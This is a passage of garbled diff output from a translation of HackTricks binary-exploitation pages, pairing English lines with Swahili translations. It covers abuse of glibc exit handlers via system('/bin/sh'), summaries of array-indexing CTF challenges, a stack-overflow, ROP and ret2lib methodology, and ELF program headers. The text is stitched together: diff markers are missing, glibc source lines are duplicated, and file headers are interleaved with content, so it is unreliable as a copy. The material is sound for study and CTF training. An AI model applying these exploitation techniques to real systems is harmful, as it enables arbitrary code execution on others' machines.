__libc_lock_lock (__exit_funcs_lock);
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
arg = f->func.cxa.arg;
PTR_DEMANGLE (cxafct);
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
cxafct (arg, status);
__libc_lock_lock (__exit_funcs_lock);
break;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);
}
__libc_lock_unlock (__exit_funcs_lock);
__libc_lock_unlock (__exit_funcs_lock);
```
Kigezo `f` kinaelekeza kwenye muundo wa **`initial`** na kulingana na thamani ya `f->flavor` kazi tofauti zitaanzishwa.\
Kulingana na thamani, anwani ya kazi ya kuita itakuwa mahali tofauti, lakini kila wakati itakuwa **demangled**.
The variable `f` points to the **`initial`** structure and depending on the value of `f->flavor` different functions will be called.\
Depending on the value, the address of the function to call will be in a different place, but it'll always be **demangled**.
Zaidi ya hayo, katika chaguo **`ef_on`** na **`ef_cxa`** pia inawezekana kudhibiti **hoja**.
Moreover, in the options **`ef_on`** and **`ef_cxa`** it's also possible to control an **argument**.
Inawezekana kuangalia muundo wa **`initial`** katika kikao cha ufuatiliaji na GEF ikikimbia **`gef> p initial`**.
It's possible to check the **`initial` structure** in a debugging session with GEF running **`gef> p initial`**.
To abuse this you need either to **leak or erase the `PTR_MANGLE`cookie** and then overwrite a `cxa` entry in initial with `system('/bin/sh')`.\
You can find an example of this in the [**original blog post about the technique**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
Ili kutumia hii unahitaji ama **leak au kufuta `PTR_MANGLE`cookie** na kisha kuandika upya kipengee cha `cxa` katika initial na `system('/bin/sh')`.\
Unaweza kupata mfano wa hii katika [**blogu ya asili kuhusu mbinu**](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#6---code-execution-via-other-mangled-pointers-in-initial-structure).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,15 +4,15 @@
## Basic Information
This category includes all vulnerabilities that occur because it is possible to overwrite certain data through errors in the handling of indexes in arrays. It's a very wide category with no specific methodology as the exploitation mechanism relays completely on the conditions of the vulnerability.
Kikundi hiki kinajumuisha udhaifu wote unaotokea kwa sababu inawezekana kuandika upya data fulani kupitia makosa katika kushughulikia viashiria katika arrays. Ni kikundi pana sana kisichokuwa na mbinu maalum kwani mekanizma ya unyakuzi inategemea kabisa hali ya udhaifu.
However he you can find some nice **examples**:
Hata hivyo, hapa unaweza kupata **mfano** mzuri:
- [https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html](https://guyinatuxedo.github.io/11-index/swampctf19_dreamheaps/index.html)
- There are **2 colliding arrays**, one for **addresses** where data is stored and one with the **sizes** of that data. It's possible to overwrite one from the other, enabling to write an arbitrary address indicating it as a size. This allows to write the address of the `free` function in the GOT table and then overwrite it with the address to `system`, and call free from a memory with `/bin/sh`.
- Kuna **arrays 2 zinazogongana**, moja kwa **anwani** ambapo data inahifadhiwa na moja yenye **ukubwa** wa data hiyo. Inawezekana kuandika upya moja kutoka kwa nyingine, ikiruhusu kuandika anwani isiyo na mpangilio ikionyesha kama ukubwa. Hii inaruhusu kuandika anwani ya kazi ya `free` katika jedwali la GOT na kisha kuandika upya na anwani ya `system`, na kuita free kutoka kwa kumbukumbu yenye `/bin/sh`.
- [https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html](https://guyinatuxedo.github.io/11-index/csaw18_doubletrouble/index.html)
- 64 bits, no nx. Overwrite a size to get a kind of buffer overflow where every thing is going to be used a double number and sorted from smallest to biggest so it's needed to create a shellcode that fulfil that requirement, taking into account that the canary shouldn't be moved from it's position and finally overwriting the RIP with an address to ret, that fulfil he previous requirements and putting the biggest address a new address pointing to the start of the stack (leaked by the program) so it's possible to use the ret to jump there.
- 64 bits, hakuna nx. Andika upya ukubwa ili kupata aina ya overflow ya buffer ambapo kila kitu kitatumika kama nambari mbili na kupangwa kutoka ndogo hadi kubwa hivyo inahitajika kuunda shellcode inayokidhi hiyo mahitaji, ikizingatia kwamba canary haipaswi kuhamishwa kutoka nafasi yake na hatimaye kuandika upya RIP na anwani ya ret, ambayo inakidhi mahitaji ya awali na kuweka anwani kubwa kuwa anwani mpya ikielekeza mwanzo wa stack (iliyovuja na programu) ili iwezekane kutumia ret kuruka huko.
- [https://faraz.faith/2019-10-20-secconctf-2019-sum/](https://faraz.faith/2019-10-20-secconctf-2019-sum/)
- 64bits, no relro, canary, nx, no pie. There is an off-by-one in an array in the stack that allows to control a pointer granting WWW (it write the sum of all the numbers of the array in the overwritten address by the of-by-one in the array). The stack is controlled so the GOT `exit` address is overwritten with `pop rdi; ret`, and in the stack is added the address to `main` (looping back to `main`). The a ROP chain to leak the address of put in the GOT using puts is used (`exit` will be called so it will call `pop rdi; ret` therefore executing this chain in the stack). Finally a new ROP chain executing ret2lib is used.
- 64bits, hakuna relro, canary, nx, hakuna pie. Kuna off-by-one katika array kwenye stack inayoruhusu kudhibiti pointer ikitoa WWW (inaandika jumla ya nambari zote za array katika anwani iliyovunjwa na off-by-one katika array). Stack inasimamiwa hivyo anwani ya GOT `exit` inandikwa upya na `pop rdi; ret`, na katika stack inaongezwa anwani ya `main` (ikizunguka nyuma kwa `main`). Kisha mchain ya ROP kutolea nje anwani ya kuweka katika GOT kwa kutumia puts inatumika (`exit` itaitwa hivyo itaita `pop rdi; ret` kwa hivyo inatekeleza mchain hii katika stack). Hatimaye, mchain mpya ya ROP inayotekeleza ret2lib inatumika.
- [https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html](https://guyinatuxedo.github.io/14-ret_2_system/tu_guestbook/index.html)
- 32 bit, no relro, no canary, nx, pie. Abuse a bad indexing to leak addresses of libc and heap from the stack. Abuse the buffer overflow o do a ret2lib calling `system('/bin/sh')` (the heap address is needed to bypass a check).
- 32 bit, hakuna relro, hakuna canary, nx, pie. Tumia uandishi mbaya wa viashiria kuvuja anwani za libc na heap kutoka kwenye stack. Tumia overflow ya buffer kufanya ret2lib ikitoa `system('/bin/sh')` (anwani ya heap inahitajika ili kupita kipimo).

View File

@ -1,111 +1,111 @@
# Basic Binary Exploitation Methodology
# Msingi wa Mbinu za Ukatili wa Binafsi
{{#include ../../banners/hacktricks-training.md}}
## ELF Basic Info
## Taarifa za Msingi za ELF
Before start exploiting anything it's interesting to understand part of the structure of an **ELF binary**:
Kabla ya kuanza kutumia chochote, ni muhimu kuelewa sehemu ya muundo wa **ELF binary**:
{{#ref}}
elf-tricks.md
{{#endref}}
## Exploiting Tools
## Zana za Kutumia
{{#ref}}
tools/
{{#endref}}
## Stack Overflow Methodology
## Mbinu ya Stack Overflow
With so many techniques it's good to have a scheme when each technique will be useful. Note that the same protections will affect different techniques. You can find ways to bypass the protections on each protection section but not in this methodology.
Kwa mbinu nyingi, ni vizuri kuwa na mpango wa wakati mbinu kila moja itakuwa na manufaa. Kumbuka kwamba ulinzi sawa utaathiri mbinu tofauti. Unaweza kupata njia za kupita ulinzi katika kila sehemu ya ulinzi lakini si katika mbinu hii.
## Controlling the Flow
## Kudhibiti Mchakato
There are different was you could end controlling the flow of a program:
Kuna njia tofauti ambazo unaweza kumaliza kudhibiti mchakato wa programu:
- [**Stack Overflows**](../stack-overflow/) overwriting the return pointer from the stack or the EBP -> ESP -> EIP.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- Or via **Arbitrary Writes + Write What Where to Execution**
- [**Format strings**](../format-strings/)**:** Abuse `printf` to write arbitrary content in arbitrary addresses.
- [**Array Indexing**](../array-indexing.md): Abuse a poorly designed indexing to be able to control some arrays and get an arbitrary write.
- Might need to abuse an [**Integer Overflows**](../integer-overflow.md) to cause the overflow
- **bof to WWW via ROP**: Abuse a buffer overflow to construct a ROP and be able to get a WWW.
- [**Stack Overflows**](../stack-overflow/) kuandika upya kiashiria cha kurudi kutoka kwenye stack au EBP -> ESP -> EIP.
- Inaweza kuhitaji kutumia [**Integer Overflows**](../integer-overflow.md) ili kusababisha overflow
- Au kupitia **Arbitrary Writes + Write What Where to Execution**
- [**Format strings**](../format-strings/)**:** Tumia `printf` kuandika maudhui yasiyo na mipaka katika anwani zisizo na mipaka.
- [**Array Indexing**](../array-indexing.md): Tumia mbinu mbaya ya indexing ili uweze kudhibiti baadhi ya arrays na kupata kuandika yasiyo na mipaka.
- Inaweza kuhitaji kutumia [**Integer Overflows**](../integer-overflow.md) ili kusababisha overflow
- **bof to WWW kupitia ROP**: Tumia overflow ya buffer kujenga ROP na uweze kupata WWW.
You can find the **Write What Where to Execution** techniques in:
Unaweza kupata mbinu za **Write What Where to Execution** katika:
{{#ref}}
../arbitrary-write-2-exec/
{{#endref}}
## Eternal Loops
## Mizunguko ya Milele
Something to take into account is that usually **just one exploitation of a vulnerability might not be enough** to execute a successful exploit, specially some protections need to be bypassed. Therefore, it's interesting discuss some options to **make a single vulnerability exploitable several times** in the same execution of the binary:
Kitu cha kuzingatia ni kwamba kawaida **ku exploit udhaifu mmoja hakutoshi** kutekeleza exploit yenye mafanikio, hasa baadhi ya ulinzi zinahitaji kupitishwa. Kwa hivyo, ni muhimu kujadili baadhi ya chaguzi za **kufanya udhaifu mmoja uweze kutumika mara kadhaa** katika utekelezaji mmoja wa binary:
- Write in a **ROP** chain the address of the **`main` function** or to the address where the **vulnerability** is occurring.
- Controlling a proper ROP chain you might be able to perform all the actions in that chain
- Write in the **`exit` address in GOT** (or any other function used by the binary before ending) the address to go **back to the vulnerability**
- As explained in [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** store 2 functions here, one to call the vuln again and another to call**`__libc_csu_fini`** which will call again the function from `.fini_array`.
- Andika katika mnyororo wa **ROP** anwani ya **`main` function** au anwani ambapo **udhaifu** unafanyika.
- Kwa kudhibiti mnyororo sahihi wa ROP unaweza kuwa na uwezo wa kutekeleza vitendo vyote katika mnyororo huo
- Andika katika **`exit` address in GOT** (au kazi nyingine yoyote inayotumiwa na binary kabla ya kumaliza) anwani ya kurudi **kwenye udhaifu**
- Kama ilivyoelezwa katika [**.fini_array**](../arbitrary-write-2-exec/www2exec-.dtors-and-.fini_array.md#eternal-loop)**,** hifadhi kazi 2 hapa, moja ya kuita udhaifu tena na nyingine ya kuita **`__libc_csu_fini`** ambayo itaita tena kazi kutoka `.fini_array`.
## Exploitation Goals
## Malengo ya Ukatili
### Goal: Call an Existing function
### Lengo: Kuita kazi iliyopo
- [**ret2win**](./#ret2win): There is a function in the code you need to call (maybe with some specific params) in order to get the flag.
- In a **regular bof without** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) you just need to write the address in the return address stored in the stack.
- In a bof with [**PIE**](../common-binary-protections-and-bypasses/pie/), you will need to bypass it
- In a bof with [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), you will need to bypass it
- If you need to set several parameter to correctly call the **ret2win** function you can use:
- A [**ROP**](./#rop-and-ret2...-techniques) **chain if there are enough gadgets** to prepare all the params
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (in case you can call this syscall) to control a lot of registers
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- Via a [**Write What Where**](../arbitrary-write-2-exec/) you could abuse other vulns (not bof) to call the **`win`** function.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized vatiables**](../stack-overflow/uninitialized-variables.md): You never know.
- [**ret2win**](./#ret2win): Kuna kazi katika msimbo unahitaji kuitwa (labda na baadhi ya parameta maalum) ili kupata bendera.
- Katika **bof ya kawaida bila** [**PIE**](../common-binary-protections-and-bypasses/pie/) **na** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/) unahitaji tu kuandika anwani katika anwani ya kurudi iliyohifadhiwa kwenye stack.
- Katika bof yenye [**PIE**](../common-binary-protections-and-bypasses/pie/), utahitaji kupita
- Katika bof yenye [**canary**](../common-binary-protections-and-bypasses/stack-canaries/), utahitaji kupita
- Ikiwa unahitaji kuweka parameta kadhaa ili kuitwa kwa usahihi kazi ya **ret2win** unaweza kutumia:
- Mnyororo wa [**ROP**](./#rop-and-ret2...-techniques) **ikiwa kuna vifaa vya kutosha** kuandaa parameta zote
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) (ikiwa unaweza kuita syscall hii) kudhibiti register nyingi
- Vifaa kutoka [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) na [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) kudhibiti register kadhaa
- Kupitia [**Write What Where**](../arbitrary-write-2-exec/) unaweza kutumia udhaifu mwingine (sio bof) kuita kazi ya **`win`**.
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Ikiwa stack ina viashiria vya kazi ambavyo vitaitwa au kwa string ambayo itatumika na kazi ya kuvutia (system au printf), inawezekana kuandika upya anwani hiyo.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) au [**PIE**](../common-binary-protections-and-bypasses/pie/) inaweza kuathiri anwani.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Hujui kamwe.
### Goal: RCE
### Lengo: RCE
#### Via shellcode, if nx disabled or mixing shellcode with ROP:
#### Kupitia shellcode, ikiwa nx imezimwa au kuchanganya shellcode na ROP:
- [**(Stack) Shellcode**](./#stack-shellcode): This is useful to store a shellcode in the stack before of after overwriting the return pointer and then **jump to it** to execute it:
- **In any case, if there is a** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** in a regular bof you will need to bypass (leak) it
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) it's possible to jump to the address of the stack as it won't never change
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) you will need techniques such as [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) to jump to it
- **With** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), you will need to use some [**ROP**](../rop-return-oriented-programing/) **to call `memprotect`** and make some page `rwx`, in order to then **store the shellcode in there** (calling read for example) and then jump there.
- This will mix shellcode with a ROP chain.
- [**(Stack) Shellcode**](./#stack-shellcode): Hii ni muhimu kuhifadhi shellcode kwenye stack kabla au baada ya kuandika upya kiashiria cha kurudi na kisha **kuruka kwake** ili kuitekeleza:
- **Katika hali yoyote, ikiwa kuna** [**canary**](../common-binary-protections-and-bypasses/stack-canaries/)**,** katika bof ya kawaida utahitaji kupita (leak) hiyo
- **Bila** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md) inawezekana kuruka kwenye anwani ya stack kwani haitabadilika kamwe
- **Na** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) utahitaji mbinu kama [**ret2esp/ret2reg**](../rop-return-oriented-programing/ret2esp-ret2reg.md) ili kuruka huko
- **Na** [**nx**](../common-binary-protections-and-bypasses/no-exec-nx.md), utahitaji kutumia baadhi ya [**ROP**](../rop-return-oriented-programing/) **kuita `memprotect`** na kufanya kurasa `rwx`, ili kisha **kuhifadhi shellcode huko** (kuita kusoma kwa mfano) na kisha kuruka huko.
- Hii itachanganya shellcode na mnyororo wa ROP.
#### Via syscalls
#### Kupitia syscalls
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Useful to call `execve` to run arbitrary commands. You need to be able to find the **gadgets to call the specific syscall with the parameters**.
- If [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) are enabled you'll need to defeat them **in order to use ROP gadgets** from the binary or libraries.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) can be useful to prepare the **ret2execve**
- Gadgets from [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) and [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) to control several registers
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/): Inatumika kuita `execve` ili kuendesha amri zisizo na mipaka. Unahitaji kuwa na uwezo wa kupata **vifaa vya kuita syscall maalum na parameta**.
- Ikiwa [**ASLR**](../common-binary-protections-and-bypasses/aslr/) au [**PIE**](../common-binary-protections-and-bypasses/pie/) zimewezeshwa utahitaji kuzishinda **ili kutumia vifaa vya ROP** kutoka kwa binary au maktaba.
- [**SROP**](../rop-return-oriented-programing/srop-sigreturn-oriented-programming/) inaweza kuwa muhimu kuandaa **ret2execve**
- Vifaa kutoka [**ret2csu**](../rop-return-oriented-programing/ret2csu.md) na [**ret2vdso**](../rop-return-oriented-programing/ret2vdso.md) kudhibiti register kadhaa
#### Via libc
#### Kupitia libc
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Useful to call a function from a library (usually from **`libc`**) like **`system`** with some prepared arguments (e.g. `'/bin/sh'`). You need the binary to **load the library** with the function you would like to call (libc usually).
- If **statically compiled and no** [**PIE**](../common-binary-protections-and-bypasses/pie/), the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- **Without** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and knowing the libc version** loaded, the **address** of `system` and `/bin/sh` are not going to change, so it's possible to use them statically.
- With [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **but no** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, knowing the libc and with the binary using the `system`** function it's possible to **`ret` to the address of system in the GOT** with the address of `'/bin/sh'` in the param (you will need to figure this out).
- With [ASLR](../common-binary-protections-and-bypasses/aslr/) but no [PIE](../common-binary-protections-and-bypasses/pie/), knowing the libc and **without the binary using the `system`** :
- Use [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) to resolve the address of `system` and call it&#x20;
- **Bypass** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) and calculate the address of `system` and `'/bin/sh'` in memory.
- **With** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **and** [**PIE**](../common-binary-protections-and-bypasses/pie/) **and not knowing the libc**: You need to:
- Bypass [**PIE**](../common-binary-protections-and-bypasses/pie/)
- Find the **`libc` version** used (leak a couple of function addresses)
- Check the **previous scenarios with ASLR** to continue.
- [**Ret2lib**](../rop-return-oriented-programing/ret2lib/): Inatumika kuita kazi kutoka maktaba (kawaida kutoka **`libc`**) kama **`system`** na baadhi ya hoja zilizopangwa (kwa mfano, `'/bin/sh'`). Unahitaji binary **kupakia maktaba** yenye kazi unayotaka kuita (libc kawaida).
- Ikiwa **imeandikwa kwa statically na hakuna** [**PIE**](../common-binary-protections-and-bypasses/pie/), **anwani** ya `system` na `/bin/sh` haitabadilika, hivyo inawezekana kuzitumia kwa statically.
- **Bila** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na kujua toleo la libc** lililopakiwa, **anwani** ya `system` na `/bin/sh` haitabadilika, hivyo inawezekana kuzitumia kwa statically.
- Na [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **lakini hakuna** [**PIE**](../common-binary-protections-and-bypasses/pie/)**, kujua libc na binary ikitumia `system`** kazi inawezekana **`ret` kwa anwani ya system katika GOT** na anwani ya `'/bin/sh'` katika param (utahitaji kufahamu hili).
- Na [ASLR](../common-binary-protections-and-bypasses/aslr/) lakini hakuna [PIE](../common-binary-protections-and-bypasses/pie/), kujua libc na **bila binary ikitumia `system`** :
- Tumia [**`ret2dlresolve`**](../rop-return-oriented-programing/ret2dlresolve.md) kutatua anwani ya `system` na kuitumia
- **Pitisha** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) na kuhesabu anwani ya `system` na `'/bin/sh'` katika kumbukumbu.
- **Na** [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **na** [**PIE**](../common-binary-protections-and-bypasses/pie/) **na bila kujua libc**: Unahitaji:
- Pitisha [**PIE**](../common-binary-protections-and-bypasses/pie/)
- Pata **`libc` version** iliyotumika (leak anwani kadhaa za kazi)
- Angalia **hali za awali na ASLR** ili kuendelea.
#### Via EBP/RBP
#### Kupitia EBP/RBP
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Control the ESP to control RET through the stored EBP in the stack.
- Useful for **off-by-one** stack overflows
- Useful as an alternate way to end controlling EIP while abusing EIP to construct the payload in memory and then jumping to it via EBP
- [**Stack Pivoting / EBP2Ret / EBP Chaining**](../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md): Kudhibiti ESP ili kudhibiti RET kupitia EBP iliyohifadhiwa kwenye stack.
- Inatumika kwa **off-by-one** stack overflows
- Inatumika kama njia mbadala ya kumaliza kudhibiti EIP wakati unatumia EIP kujenga payload katika kumbukumbu na kisha kuruka kwake kupitia EBP
#### Misc
#### Mambo Mengine
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): In case the stack contains pointers to a function that is going to be called or to a string that is going to be used by an interesting function (system or printf), it's possible to overwrite that address.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) or [**PIE**](../common-binary-protections-and-bypasses/pie/) might affect the addresses.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): You never know
- [**Pointers Redirecting**](../stack-overflow/pointer-redirecting.md): Ikiwa stack ina viashiria vya kazi ambavyo vitaitwa au kwa string ambayo itatumika na kazi ya kuvutia (system au printf), inawezekana kuandika upya anwani hiyo.
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) au [**PIE**](../common-binary-protections-and-bypasses/pie/) inaweza kuathiri anwani.
- [**Uninitialized variables**](../stack-overflow/uninitialized-variables.md): Hujui kamwe.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,11 +1,10 @@
# ELF Basic Information
# ELF Msingi wa Taarifa
{{#include ../../banners/hacktricks-training.md}}
## Program Headers
The describe to the loader how to load the **ELF** into memory:
## Vichwa vya Programu
Vinavyoelezea kwa loader jinsi ya kupakia **ELF** kwenye kumbukumbu:
```bash
readelf -lW lnstat
@ -14,80 +13,78 @@ Entry point 0x1c00
There are 9 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000000000040 0x0000000000000040 0x0001f8 0x0001f8 R 0x8
INTERP 0x000238 0x0000000000000238 0x0000000000000238 0x00001b 0x00001b R 0x1
[Requesting program interpreter: /lib/ld-linux-aarch64.so.1]
LOAD 0x000000 0x0000000000000000 0x0000000000000000 0x003f7c 0x003f7c R E 0x10000
LOAD 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x000528 0x001190 RW 0x10000
DYNAMIC 0x00fc58 0x000000000001fc58 0x000000000001fc58 0x000200 0x000200 RW 0x8
NOTE 0x000254 0x0000000000000254 0x0000000000000254 0x0000e0 0x0000e0 R 0x4
GNU_EH_FRAME 0x003610 0x0000000000003610 0x0000000000003610 0x0001b4 0x0001b4 R 0x4
GNU_STACK 0x000000 0x0000000000000000 0x0000000000000000 0x000000 0x000000 RW 0x10
GNU_RELRO 0x00fc48 0x000000000001fc48 0x000000000001fc48 0x0003b8 0x0003b8 R 0x1
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
Section to Segment mapping:
Segment Sections...
00
01 .interp
02 .interp .note.gnu.build-id .note.ABI-tag .note.package .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rela.dyn .rela.plt .init .plt .text .fini .rodata .eh_frame_hdr .eh_frame
03 .init_array .fini_array .dynamic .got .data .bss
04 .dynamic
05 .note.gnu.build-id .note.ABI-tag .note.package
06 .eh_frame_hdr
07
08 .init_array .fini_array .dynamic .got
```
Programu ya awali ina **vichwa vya programu 9**, kisha, **ramani ya sehemu** inaonyesha katika kichwa gani cha programu (kuanzia 00 hadi 08) **kila sehemu iko**.
The previous program has **9 program headers**, then, the **segment mapping** indicates in which program header (from 00 to 08) **each section is located**.
### PHDR - Kichwa cha Programu
### PHDR - Program HeaDeR
Contains the program header tables and metadata itself.
Inajumuisha meza za vichwa vya programu na metadata yenyewe.
### INTERP
Indicates the path of the loader to use to load the binary into memory.
Inaonyesha njia ya loader inayotumika kupakia binary kwenye kumbukumbu.
### LOAD
These headers are used to indicate **how to load a binary into memory.**\
Each **LOAD** header indicates a region of **memory** (size, permissions and alignment) and indicates the bytes of the ELF **binary to copy in there**.
Vichwa hivi vinatumika kuonyesha **jinsi ya kupakia binary kwenye kumbukumbu.**\
Kila kichwa cha **LOAD** kinaonyesha eneo la **kumbukumbu** (ukubwa, ruhusa na usawa) na inaonyesha bytes za ELF **binary za kunakili huko**.
For example, the second one has a size of 0x1190, should be located at 0x1fc48 with permissions read and write and will be filled with 0x528 from the offset 0xfc48 (it doesn't fill all the reserved space). This memory will contain the sections `.init_array .fini_array .dynamic .got .data .bss`.
Kwa mfano, ya pili ina ukubwa wa 0x1190, inapaswa kuwa katika 0x1fc48 ikiwa na ruhusa za kusoma na kuandika na itajazwa na 0x528 kutoka kwa ofset 0xfc48 (haijaza nafasi yote iliyohifadhiwa). Kumbukumbu hii itakuwa na sehemu `.init_array .fini_array .dynamic .got .data .bss`.
### DYNAMIC
This header helps to link programs to their library dependencies and apply relocations. Check the **`.dynamic`** section.
Kichwa hiki husaidia kuunganisha programu na utegemezi wa maktaba zao na kutekeleza uhamasishaji. Angalia sehemu **`.dynamic`**.
### NOTE
This stores vendor metadata information about the binary.
Hii inahifadhi taarifa za metadata za muuzaji kuhusu binary.
### GNU_EH_FRAME
Defines the location of the stack unwind tables, used by debuggers and C++ exception handling-runtime functions.
Inafafanua eneo la meza za kuondoa stack, zinazotumiwa na debuggers na kazi za usimamizi wa makosa za C++.
### GNU_STACK
Contains the configuration of the stack execution prevention defense. If enabled, the binary won't be able to execute code from the stack.
Inajumuisha usanidi wa ulinzi wa kuzuia utekelezaji wa stack. Ikiwa imewezeshwa, binary haitakuwa na uwezo wa kutekeleza msimbo kutoka kwenye stack.
### GNU_RELRO
Indicates the RELRO (Relocation Read-Only) configuration of the binary. This protection will mark as read-only certain sections of the memory (like the `GOT` or the `init` and `fini` tables) after the program has loaded and before it begins running.
Inaonyesha usanidi wa RELRO (Relocation Read-Only) wa binary. Ulinzi huu utaashiria kama isiyo na kuandika sehemu fulani za kumbukumbu (kama `GOT` au meza za `init` na `fini`) baada ya programu kupakiwa na kabla ya kuanza kutekelezwa.
In the previous example it's copying 0x3b8 bytes to 0x1fc48 as read-only affecting the sections `.init_array .fini_array .dynamic .got .data .bss`.
Katika mfano wa awali inakopi bytes 0x3b8 hadi 0x1fc48 kama zisizo na kuandika zikihusisha sehemu `.init_array .fini_array .dynamic .got .data .bss`.
Note that RELRO can be partial or full, the partial version do not protect the section **`.plt.got`**, which is used for **lazy binding** and needs this memory space to have **write permissions** to write the address of the libraries the first time their location is searched.
Kumbuka kwamba RELRO inaweza kuwa ya sehemu au kamili, toleo la sehemu halilindi sehemu **`.plt.got`**, ambayo inatumika kwa **lazy binding** na inahitaji nafasi hii ya kumbukumbu kuwa na **ruhusa za kuandika** ili kuandika anwani za maktaba wakati wa kwanza mahali pake inatafutwa.
### TLS
Defines a table of TLS entries, which stores info about thread-local variables.
Inafafanua meza ya entries za TLS, ambayo inahifadhi taarifa kuhusu mabadiliko ya ndani ya thread.
